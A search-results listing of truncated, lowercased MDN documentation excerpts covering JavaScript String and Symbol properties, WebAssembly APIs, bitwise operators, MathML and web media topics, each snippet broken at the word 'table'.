table": true }); } catch(e) { string.fromcodepoint = fromcodepoint; } }(string.fromcharcode)); examples using fromcodepoint() valid input: string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404); // "\u0404" == "Є" string.fromcodepoint(0x2f804); // "\ud87e\udc04" string.fromcodepoint(194564); // "\ud87e\udc04" string.fro...
String.prototype.toLocaleUpperCase() - JavaScript
h, whose case mappings do not follow the default case mappings in unicode, there may be a different result. also notice that conversion is not necessarily a 1:1 character mapping, as some characters might result in two (or even more) characters when transformed to upper-case. therefore the length of the result string can differ from the input length. this also implies that the conversion is not s
table, so i.e. the following can return false: x.tolocalelowercase() === x.tolocaleuppercase().tolocalelowercase() examples using tolocaleuppercase() 'alphabet'.tolocaleuppercase(); // 'alphabet' 'gesäß'.tolocaleuppercase(); // 'gesÄss' 'i\u0307'.tolocaleuppercase('lt-lt'); // 'i' let locales = ['lt', 'lt', 'lt-lt', 'lt-u-co-phonebk', 'lt-x-lietuva']; 'i\u0307'.tolocaleuppercase(locales); // ...
String.prototype.toUpperCase() - JavaScript
rcase() return value a new string representing the calling string converted to upper case. exceptions typeerror when called on null or undefined, for example, string.prototype.touppercase.call(undefined). description the touppercase() method returns the value of the string converted to uppercase. this method does not affect the value of the string itself since javascript strings are immu
table. examples basic usage console.log('alphabet'.touppercase()); // 'alphabet' conversion of non-string this values to strings this method will convert any non-string value to a string, when you set its this to a value that is not a string: const a = string.prototype.touppercase.call({ tostring: function tostring() { return 'abcdef'; } }); const b = string.prototype.touppercase.call(t...
String - JavaScript
ethod: return 'cat'.charat(1) // returns "a" the other way (introduced in ecmascript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index: return 'cat'[1] // returns "a" when using bracket notation for character access, attempting to delete or assign a value to these properties will not succeed. the properties involved are neither wri
table nor configurable. (see object.defineproperty() for more information.) comparing strings in c, the strcmp() function is used for comparing strings. in javascript, you just use the less-than and greater-than operators: let a = 'a' let b = 'b' if (a < b) { // true console.log(a + ' is less than ' + b) } else if (a > b) { console.log(a + ' is greater than ' + b) } else { console.log(a + ' an...
Symbol.asyncIterator - JavaScript
examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the symbol.asynciterator symbol is a builtin symbol that is used to access an object's @@asynciterator method. in order for an object to be async iterable, it must have a symbol.asynciterator key. property attributes of symbol.asynciterator wri
table no enumerable no configurable no examples user-defined async iterables you can define your own async iterable by setting the [symbol.asynciterator] property on an object. const myasynciterable = { async* [symbol.asynciterator]() { yield "hello"; yield "async"; yield "iteration!"; } }; (async () => { ...
Symbol.hasInstance - JavaScript
ect as its instance. the instanceof operator's behavior can be customized by this symbol. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
Symbol.isConcatSpreadable - JavaScript
rrays and array-like objects: for array objects, the default behavior is to spread (flatten) elements. symbol.isconcatspreadable can avoid flattening in these cases. for array-like objects, the default behavior is no spreading or flattening. symbol.isconcatspreadable can force flattening in these cases. ...
Symbol.iterator - JavaScript
ation behavior, while other types (such as object) do not. the built-in types with a @@iterator method are: array.prototype[@@iterator]() typedarray.prototype[@@iterator]() string.prototype[@@iterator]() map.prototype[@@iterator]() set.prototype[@@iterator]() see also iteration protocols for more information. ...
Symbol.match - JavaScript
type.startswith(), string.prototype.endswith() and string.prototype.includes(), check if their first argument is a regular expression and will throw a typeerror if they are. now, if the match symbol is set to false (or a falsy value), it indicates that the object is not intended to be used as a regular expression object. property attributes of symbol.match wri
table no enumerable no configurable no examples disabling the isregexp check the following code will throw a typeerror: '/bar/'.startswith(/bar/); // throws typeerror, as /bar/ is a regular expression // and symbol.match is not modified. however, if you set symbol.match to false, the isregexp check (that uses the match property) will indi...
Symbol.matchAll - JavaScript
send us a pull request. description this symbol is used for string.prototype.matchall() and specifically in regexp.prototype[@@matchall](). the following two examples return same result: 'abc'.matchall(/a/); /a/[symbol.matchall]('abc'); this method exists for customizing match behavior within regexp subclasses. ...
Symbol.replace - JavaScript
hod. for more information, see regexp.prototype[@@replace]() and string.prototype.replace(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
Symbol.search - JavaScript
method. for more information, see regexp.prototype[@@search]() and string.prototype.search(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
Symbol.species - JavaScript
this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the species accessor property allows subclasses to override the default constructor for objects. property attributes of symbol.species wri
table no enumerable no configurable no examples using species you might want to return array objects in your derived array class myarray. for example, when using methods such as map() that return the default constructor, you want these methods to return a parent array object, instead of the myarray object. the species symbol lets you do this...
Symbol.split - JavaScript
() method. for more information, see regexp.prototype[@@split]() and string.prototype.split(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
Symbol.toPrimitive - JavaScript
tion with the help of the symbol.toprimitive property (used as a function value), an object can be converted to a primitive value. the function is called with a string argument hint, which specifies the preferred type of the result primitive value. the hint argument can be one of "number", "string", and "default". property attributes of symbol.toprimitive wri
table no enumerable no configurable no examples modifying primitive values converted from an object following example describes how symbol.toprimitive property can modify the primitive value converted from an object. // an object without symbol.toprimitive property. var obj1 = {}; console.log(+obj1); // nan console.log(`${obj1}`); // "[...
Symbol.toStringTag - JavaScript
iption of an object. it is accessed internally by the object.prototype.tostring() method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
Symbol.unscopables - JavaScript
e, with statements are not available and will likely also not need this symbol. setting a property to true in an unscopables object will make it unscopable and therefore it won't appear in lexical scope variables. setting a property to false will make it scopable and thus it will appear in lexical scope variables. property attributes of symbol.unscopables wri
table no enumerable no configurable no examples scoping in with statements the following code works fine in es5 and below. however, in ecmascript 2015 and later, the array.prototype.keys() method was introduced. that means that inside with environment "keys" would now be the method and not the variable. that's when the unscopables symbol was...
TypedArray.BYTES_PER_ELEMENT - JavaScript
lement property represents the size in bytes of each element in an typed array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of typedarray.bytes_per_element wri
table no enumerable no configurable no description typedarray objects differ from each other in the number of bytes per element and in the way the bytes are interpreted. the bytes_per_element constant contains the number of bytes each element in the given typedarray has. examples using bytes_per_element int8array.bytes_per_element; ...
TypedArray.name - JavaScript
the typedarray.name property represents a string value of the typed array constructor name. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of typedarray.name wri
table no enumerable no configurable no description typedarray objects differ from each other in the number of bytes per element and in the way the bytes are interpreted. the name property describes of what data type the array consists. the first part can be int for "integer" or uint for an "unsigned integer", also float for "floating point" i...
WeakRef - JavaScript
bage collection is a hard problem that javascript engine implementers are constantly refining and improving their solutions to. here are some specific points that the authors of the weakref proposal included in its explainer document: garbage collectors are complicated. if an application or library depends on gc cleaning up a weakref or calling a finalizer [cleanup callback] in a timely, predic
table manner, it's likely to be disappointed: the cleanup may happen much later than expected, or not at all. sources of variability include: one object might be garbage-collected much sooner than another object, even if they become unreachable at the same time, e.g., due to generational collection. garbage collection work can be split up over time using incremental and concurrent techniques. vari...
WeakSet - JavaScript
n, subject[key], _refs); } } const foo = { foo: "foo", bar: { bar: "bar" } }; foo.bar.baz = foo; // circular reference! execrecursively(obj => console.log(obj), foo); here, a weakset is created on the first run, and passed along with every subsequent function call (using the internal _refs parameter). the number of objects or their traversal order is immaterial, so a weakset is more sui
table (and performant) than a set for tracking object references, especially if a very large number of objects is involved. constructor weakset() creates a new weakset object. instance methods weakset.prototype.add(value) appends value to the weakset object. weakset.prototype.delete(value) removes value from the weakset. weakset.prototype.has(value) will return false afterwards. weakset.
WebAssembly.CompileError() constructor - JavaScript
// 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification. ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompileerror() constructorchrome ful...
WebAssembly.CompileError - JavaScript
ber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification. ecmascript (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompileerrorchrome full support ...
WebAssembly.Instance.prototype.exports - JavaScript
ing(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); note: you can also find this example as instantiate-streaming.html on github (view it live also). specifications specification webassembly javascript interfacethe definition of 'webassembly.instance: exports' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschrome full support ...
WebAssembly.LinkError() constructor - JavaScript
umber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification. ecmascript (ecma-262)the definition of 'nativeerror constructors' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerror() constructorchrome full s...
WebAssembly.LinkError - JavaScript
log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification. ecmascript (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerrorchrome full support ...
WebAssembly.Memory.prototype.buffer - JavaScript
), { js: { mem: memory } }) .then(obj => { var i32 = new uint32array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); specifications specification webassembly javascript interfacethe definition of 'buffer' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsbufferchrome full support ...
WebAssembly.Memory.prototype.grow() - JavaScript
// "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.bytelength / bytesperpage); // "2" note the return value of grow() here is the previous number of webassembly pages. specifications specification webassembly javascript interfacethe definition of 'grow()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsgrowchrome full support ...
WebAssembly.Module() constructor - JavaScript
en(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodule() constructorchrome full supp...
WebAssembly.Module.customSections() - JavaScript
n(mod) { var namesections = webassembly.module.customsections(mod, "name"); if (namesections.length != 0) { console.log("module contains a name section"); console.log(namesections[0]); }; }); specifications specification webassembly javascript interfacethe definition of 'customsections()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscustomsectionschrome full support ...
WebAssembly.Module.exports() - JavaScript
) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschrome full support ...
WebAssembly.Module.imports() - JavaScript
('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsimportschrome full support ...
WebAssembly.Module - JavaScript
nction(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsmodulechrome full support ...
WebAssembly.RuntimeError() constructor - JavaScript
console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly.runtimeerror constructor' in that specification. ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerror() constructorchrome ful...
WebAssembly.RuntimeError - JavaScript
ber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification. ecmascript (ecma-262)the definition of 'nativeerror' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsruntimeerrorchrome full support ...
WebAssembly.compile() - JavaScript
) ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile(). specifications specification webassembly javascript interfacethe definition of 'compile()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilechrome full support ...
WebAssembly.compileStreaming() - JavaScript
e(module, importobject)) .then(instance => instance.exports.exported_func()); the resulting module instance is then instantiated using webassembly.instantiate(), and the exported function invoked. specifications specification webassembly features for web embeddingthe definition of 'compilestreaming()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jscompilestreamingchrome full support ...
WebAssembly.instantiate() - JavaScript
age = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'instantiate()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstantiatechrome full support ...
WebAssembly.instantiateStreaming() - JavaScript
ject's instance member is then accessed, and the contained exported function invoked. note: for this to work, .wasm files should be returned with an application/wasm mime type by the server. specifications specification webassembly features for web embeddingthe definition of 'instantiatestreaming()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsinstantiatestreamingchrome full supp...
WebAssembly.validate() - JavaScript
asm').then(response => response.arraybuffer() ).then(function(bytes) { var valid = webassembly.validate(bytes); console.log("the given bytes are " + (valid ? "" : "not ") + "a valid wasm module"); }); specifications specification webassembly javascript interfacethe definition of 'validate()' in that specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsvalidatechrome full support ...
globalThis - JavaScript
he global globalthis property contains the global this value, which is akin to the global object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of globalthis wri
table yes enumerable no configurable yes description historically, accessing the global object has required different syntax in different javascript environments. on the web you can use window, self, or frames - but in web workers only self will work. in node.js none of these work, and you must instead use global. the this keyword could be u...
isNaN() - JavaScript
necessity of an isnan function unlike all other possible values in javascript, it is not possible to rely on the equality operators (== and ===) to determine whether a value is nan or not, because both nan == nan and nan === nan evaluate to false. hence, the necessity of an isnan function. origin of nan values nan values are generated when arithmetic operations result in undefined or unrepresen
table values. such values do not necessarily represent overflow conditions. a nan also results from attempted coercion to numeric values of non-numeric values for which no primitive numeric value is available. for example, dividing zero by zero results in a nan — but dividing other numbers by zero does not. confusing special-case behavior since the very earliest versions of the isnan function spec...
Standard built-in objects - JavaScript
orfunction asyncfunction reflection reflect proxy internationalization additions to the ecmascript core for language-sensitive functionalities. intl intl.collator intl.datetimeformat intl.listformat intl.numberformat intl.pluralrules intl.relativetimeformat intl.locale webassembly webassembly webassembly.module webassembly.instance webassembly.memory webassembly.
table webassembly.compileerror webassembly.linkerror webassembly.runtimeerror other arguments ...
Bitwise AND (&) - JavaScript
bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on. the operator is applied to each pair of bits, and the result is constructed bitwise. the truth
table for the and operation is: a b a and b 0 0 0 0 1 0 1 0 0 1 1 1 . 9 (base 10) = 00000000000000000000000000001001 (base 2) 14 (base 10) = 00000000000000000000000000001110 (base 2) -------------------------------- 14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10) ...
Bitwise NOT (~) - JavaScript
bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on. the operator is applied to each pair of bits, and the result is constructed bitwise. the truth
table for the not operation is: a not a 0 1 1 0 9 (base 10) = 00000000000000000000000000001001 (base 2) -------------------------------- ~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10) bitwise noting any number x yields -(x + 1). for example, ~-5 yields 4. note that due to using 32-bit representation for numbers...
Bitwise OR (|) - JavaScript
bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on. the operator is applied to each pair of bits, and the result is constructed bitwise. the truth
table for the or operation is: a b a or b 0 0 0 0 1 1 1 0 1 1 1 1 . 9 (base 10) = 00000000000000000000000000001001 (base 2) 14 (base 10) = 00000000000000000000000000001110 (base 2) -------------------------------- 14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10) ...
Bitwise XOR (^) - JavaScript
bits will be converted to a 32 bit integer: before: 11100110111110100000000000000110000000000001 after: 10100000000000000110000000000001 each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on. the operator is applied to each pair of bits, and the result is constructed bitwise. the truth
table for the xor operation is: a b a xor b 0 0 0 0 1 1 1 0 1 1 1 0 . 9 (base 10) = 00000000000000000000000000001001 (base 2) 14 (base 10) = 00000000000000000000000000001110 (base 2) -------------------------------- 14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10) ...
Equality (==) - JavaScript
if the operands have the same type, they are compared as follows: string: return true only if both operands have the same characters in the same order. number: return true only if both operands have the same value. +0 and -0 are treated as the same value. if either operand is nan, return false. boolean: return true only if operands are both true or both false. the most no
table difference between this operator and the strict equality (===) operator is that the strict equality operator does not attempt type conversion. instead, the strict equality operator always considers operands of different types to be different. examples comparison with no type conversion 1 == 1; // true "hello" == "hello"; // true comparison with type conversion "1" == 1; ...
Object initializer - JavaScript
ute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let o = {} let o = {a: 'foo', b: 42, c: {}} let a = 'foo', b = 42, c = {} let o = {a: a, b: b, c: c} let o = { property: function (parameters) {}, get property() {}, set property(value) {} }; new notations in ecmascript 2015 please see the compatibility
table for support for these notations. in non-supporting environments, these notations will lead to syntax errors. // shorthand property names (es2015) let a = 'foo', b = 42, c = {}; let o = {a, b, c} // shorthand method names (es2015) let o = { property(parameters) {} } // computed property names (es2015) let prop = 'foo' let o = { [prop]: 'hey', ['b' + 'ar']: 'there' } description an objec...
Property accessors - JavaScript
or the bracket notation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.property object['property'] description one can think of an object as an associative array (a.k.a. map, dictionary, hash, lookup
table). the keys in this array are the names of the object's properties. it's typical when speaking of an object's properties to make a distinction between properties and methods. however, the property/method distinction is little more than a convention. a method is simply a property that can be called (for example, if it has a reference to a function instance as its value). there are two ways to acc...
Spread syntax (...) - JavaScript
knees", "and", "toes"] just like spread for argument lists, ... can be used anywhere in the array literal, and may be used more than once. copy an array const arr = [1, 2, 3]; const arr2 = [...arr]; // like arr.slice() arr2.push(4); // arr2 becomes [1, 2, 3, 4] // arr remains unaffected note: spread syntax effectively goes one level deep while copying an array. therefore, it may be unsui
table for copying multidimensional arrays, as the following example shows. (the same is true with object.assign() and spread syntax.) const a = [[1], [2], [3]]; const b = [...a]; b.shift().shift(); // 1 // oh no! now array 'a' is affected as well: a // [[], [2], [3]] a better way to concatenate arrays array.prototype.concat() is often used to concatenate an array to the end of an existing ar...
Strict equality (===) - JavaScript
r to the same object. if both operands are null or both operands are undefined, return true. if either operand is nan, return false. otherwise, compare the two operand's values: numbers must have the same numeric values. +0 and -0 are considered to be the same value. strings must have the same characters in the same order. booleans must be both true or both false. the most no
table difference between this operator and the equality (==) operator is that if the operands are of different types, the == operator attempts to convert them to the same type before comparing. examples comparing operands of the same type console.log("hello" === "hello"); // true console.log("hello" === "hola"); // false console.log(3 === 3); // true console.log(3 === 4); ...
delete operator - JavaScript
strict vs. non-strict mode when in strict mode, if delete is used on a direct reference to a variable, a function argument ...
typeof - JavaScript
d in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax the typeof operator is followed by its operand: typeof operand typeof(operand) parameters operand an expression representing the object or primitive whose type is to be returned. description the following
table summarizes the possible return values of typeof. for more information about types and primitives, see also the javascript data structure page. type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (new in ecmascript 2020) "bigint" string "string" symbol ...
function* - JavaScript
{ value: 3, done: false } console.log(gen.next()); // { value: undefined, done: true } generator as a computed property class foo { *[symbol.iterator] () { yield 1; yield 2; } } const someobj = { *[symbol.iterator] () { yield 'a'; yield 'b'; } } console.log(array.from(new foo)); // [ 1, 2 ] console.log(array.from(someobj)); // [ 'a', 'b' ] generators are not construc
table function* f() {} var obj = new f; // throws "typeerror: f is not a constructor generator defined in an expression const foo = function* () { yield 10; yield 20; }; const bar = foo(); console.log(bar.next()); // {value: 10, done: false} generator example function* powers(n){ //endless loop to generate for(let current =n;; current *= n){ yield current; } } for(le...
import.meta - JavaScript
odule's url. syntax import.meta description the syntax consists of the keyword import, a dot, and the identifier meta. normally the left-hand side of the dot is the object on which property access is performed, but here import is not really an object. the import.meta object is created by the ecmascript implementation, with a null prototype. the object is extensible, and its properties are wri
table, configurable, and enumerable. examples using import.meta given a module my-module.js <script type="module" src="my-module.js"></script> you can access meta information about the module using the import.meta object. console.log(import.meta); // { url: "file:///home/user/my-module.js" } it returns an object with a url property indicating the base url of the module. this will either be the ...
JavaScript reference - JavaScript
omise generator generatorfunction asyncfunction reflection reflect proxy internationalization intl intl.collator intl.datetimeformat intl.displaynames intl.listformat intl.locale intl.numberformat intl.pluralrules intl.relativetimeformat webassembly webassembly webassembly.module webassembly.instance webassembly.memory webassembly.
table webassembly.compileerror webassembly.linkerror webassembly.runtimeerror statements javascript statements and declarations control flowblock break continue empty if...else switch throw try...catch declarations var let const functions and classes function function* async function return class iterations do...while for for each...in...
JavaScript shells - JavaScript
ndalone javascript shell for writing cross-platform javascript applications. it can use wxwidgets for gui apps and was formerly called wxjavascript. jspl - a standalone javascript shell enhanced by perl. can use perl modules directly from javascript: dbi for database integration, gtk2 for gui apps, posix for system programming, etc. the best of cpan now for javascript programmers. shelljs - por
table unix shell commands for node.js list of javascript shells the following javascript shells work with mozilla. firefox has a built-in javascript console, which support multi-line editing. javascript shell (js) - a command line interpreter for javascript xpcshell is an xpconnect - enabled shell, sometimes useful for mozilla development. babel repl - a browser-based repl for experimenting wi...
<mtr> - MathML
the mathml <mtr> element represents a row in a
table or a matrix. it may only appear in a <m
table> element. this element is similar to the <tr> element of html. attributes class, id, style provided for use with stylesheets. columnalign overrides the horizontal alignment of cells specified by <m
table> for this row. possible values are: left, center and right. groupalign unimplemented href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. rowalign overrides the vertical alignment of cells specified by <m
table> for this row. possible values are: axis, baseline, bottom, center and top. specifications specification ...
Media container formats (file types) - Web media technologies
the relatively major lossless compression formats (flac and alac) are universally supported. flac is the more broadly supported of the two, but is not supported by macos without additional software installed, and is not supported at all on ios. if you need to offer lossless audio, you may need to provide both flac and alac to get close to universal compatibility. container selection advice the
tables below offer suggested containers to use in various scenarios. these are just suggestions. be sure to consider the needs of your application and your organization before selecting a container format. audio-only files if you need... consider using this container format compressed files for general-purpose playback mp3 (mpeg-1 audio layer iii) losslessly compr...
Digital video concepts - Web media technologies
ies the number of luminance samples per row encoded from the 4x2 pixel block. this value is essentially always 4, meaning "use all of the luminance samples." the second number specifies how many chroma samples are used to represent the colors of the pixels in the first row. the third number indicates how many chroma samples are used to represent the colors of the pixels in the second row. the
table below shows examples of three chroma subsampling models. 4:2:0 4:2:2 4:4:4 luminance chroma (u and v) decoded pixels in all of these, all four pixels of each row in the block of luminance data are used in the decoded image. looking at 4:2:0 chroma subsampling, in the first column, the value 2 indicates t...
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
dding a new mechanism for sizing images before the actual image is loaded. firefox has added an internal aspect-ratio property (in version 69 onwards) that applies to replaced elements, and other related elements that accept width and height attributes. this appears in the browser's internal ua stylesheet, similar to the following: img, input[type="image"], video, embed, iframe, marquee, object,
table { aspect-ratio: attr(width) / attr(height); } this actually affects any element that acts as a container for complex or mixed visual media — <embed>, <iframe>, <marquee>, <object>, <
table>, and <video>, in addition to actual images (<img> and <input type="image">). when such an element has width and height attributes set on it, its aspect ratio will be calculated before load time, and be av...
Understanding latency - Web Performance
he amount of time it takes to send a request for resources, or the length of the entire round-trip from the browser’s request for a resource to the moment when the requested resource arrives at the browser. network throttling to emulate the latency of a low bandwidth network, you can use developer tools and switch to a lower end network connection. in the developer tools, under the network
table, you can switch the throttling option to 2g, 3g, etc. different browser developer tools have different preset options, the characteristics emulated include download speed, upload speed, and minimum latency, or the minimum amount of type it takes to send a packet of data. the approximate values of some presets include: selection download speed upload speed minimum latency (ms) ...
Installing and uninstalling web apps - Progressive web apps (PWAs)
e a presence in a device’s home screen or app list or bar. this makes it simple for a user to use a gesture to access an app by tapping or clicking its icon. the application itself may then manifest as in a chromeless view (without the full browser chrome) but it nevertheless is executing effectively as a tab within the browser. for users, the experience of a seemingly-native pwa is more comfor
